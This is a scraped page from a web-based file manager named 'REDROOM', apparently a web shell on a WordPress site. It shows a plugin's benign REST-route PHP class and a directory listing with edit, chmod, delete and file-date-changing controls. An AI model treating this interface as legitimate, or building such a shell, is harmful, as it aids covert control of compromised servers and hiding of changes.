REDROOM
PHP 8.0.30
Path:
Logout
Edit File
Size: 1.75 KB
Close
/home/certprox/zang.certproxywizard.com/wp/wp-content/plugins/auto-post-thumbnail/src/Routes/Base_Route.php
Text
Base64
<?php /** * Base route. * * @package AutoPostThumbnail */ namespace AutoPostThumbnail\Routes; use AutoPostThumbnail\Modules\Api; use WP_REST_Response; /** * Abstract base route class. * * @package AutoPostThumbnail */ abstract class Base_Route { /** * Get the namespace for the route. * * @return string */ abstract public function get_namespace(); /** * Get the routes for the route. * * @return array */ abstract public function get_routes(); /** * Register the routes. * * @return void */ public function register_routes() { foreach ( $this->get_routes() as $route_data ) { register_rest_route( Api::NAMESPACE, sprintf( '%s/%s', $this->get_namespace(), $route_data['route'] ), $route_data ); } } /** * Check if the user has permission to view the log. * * @return bool */ final public function logged_in_permissions_check() { return is_user_logged_in(); } /** * Check if the user has permission to manage options. * * @return bool */ final public function manage_options_permissions_check() { return current_user_can( 'manage_options' ); } /** * Create an error response. * * @param string $message The error message. * @param int $code The error code. * @return WP_REST_Response */ final public function error_response( $message, $code = 400 ) { return new WP_REST_Response( [ 'message' => $message, ], $code ); } /** * Create a success response. * * @param array $data The data to return. * @param bool $success Whether the response is successful. * * @return WP_REST_Response */ final public function success_response( $data, $success = true ) { return new WP_REST_Response( [ 'data' => $data, 'success' => $success, ], 200 ); } }
Save
Close
Exit & Reset
Text mode: syntax highlighting auto-detects file type.
Directory Contents
Dirs: 0 × Files: 5
Delete Selected
Select All
Select None
Sort:
Name
Size
Modified
Enable drag-to-move
Name
Size
Perms
Modified
Actions
Base_Route.php
1.75 KB
lrw-r--r--
2026-04-02 07:27:19
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
Fonts.php
2.25 KB
lrw-r--r--
2026-04-02 07:27:19
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
Generate.php
6.78 KB
lrw-r--r--
2026-04-02 07:27:19
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
Log.php
3.18 KB
lrw-r--r--
2026-04-02 07:27:19
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
Settings.php
8.11 KB
lrw-r--r--
2026-04-02 07:27:19
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
Zip Selected
If ZipArchive is unavailable, a
.tar
will be created (no compression).